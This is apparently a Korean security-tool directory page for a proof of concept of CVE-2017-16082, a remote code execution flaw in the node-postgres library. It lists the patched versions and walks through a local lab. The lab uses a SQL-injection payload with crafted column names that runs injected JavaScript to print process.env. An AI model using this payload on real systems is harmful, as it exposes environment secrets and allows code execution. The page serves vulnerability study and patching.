Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-16082 — NodeJS + Postgres (원격 코드 실행) 🛰 | Kitploit
도구/GitHubGitHub/nulldreams/cve-2017-16082
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (원격 코드 실행) 🛰

저장소 보기
57년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-16082

개요

pg의 영향을 받는 버전에는 원격 데이터베이스나 쿼리가 조작된 컬럼 이름을 지정할 때 발생하는 원격 코드 실행 취약점이 포함되어 있습니다.

애플리케이션이 취약할 가능성이 있는 두 가지 특정 시나리오가 있습니다:

  1. 애플리케이션이 악성 컬럼 이름을 포함하는 안전하지 않은 사용자 제공 SQL을 실행합니다.
  2. 애플리케이션이 신뢰할 수 없는 데이터베이스에 연결하고 악성 컬럼 이름을 포함하는 결과를 반환하는 쿼리를 실행합니다.

개념 증명

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

수정 방법

  • Version 2.x.x: 버전 2.11.2 이상으로 업데이트하세요.
  • Version 3.x.x: 버전 3.6.4 이상으로 업데이트하세요.
  • Version 4.x.x: 버전 4.5.7 이상으로 업데이트하세요.
  • Version 5.x.x: 버전 5.2.1 이상으로 업데이트하세요.
  • Version 6.x.x: 버전 6.4.2 이상으로 업데이트하세요. (버전 6.1.6, 6.2.5, 6.3.3도 패치되었습니다.)
  • Version 7.x.x: 버전 7.1.2 이상으로 업데이트하세요. (버전 7.0.2도 패치되었습니다.)

로컬 테스트 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

localhost:5000/api/v1/users?id=1로 요청을 보냅니다. 결과

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

이제 다음과 같은 페이로드 1;SELECT 1 AS "\']=0;console.log(process.env)//"를 사용하여 요청을 보내고 URL 인코더로 인코딩합니다.

최종 URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

터미널 서버를 확인하세요.

도구 다운로드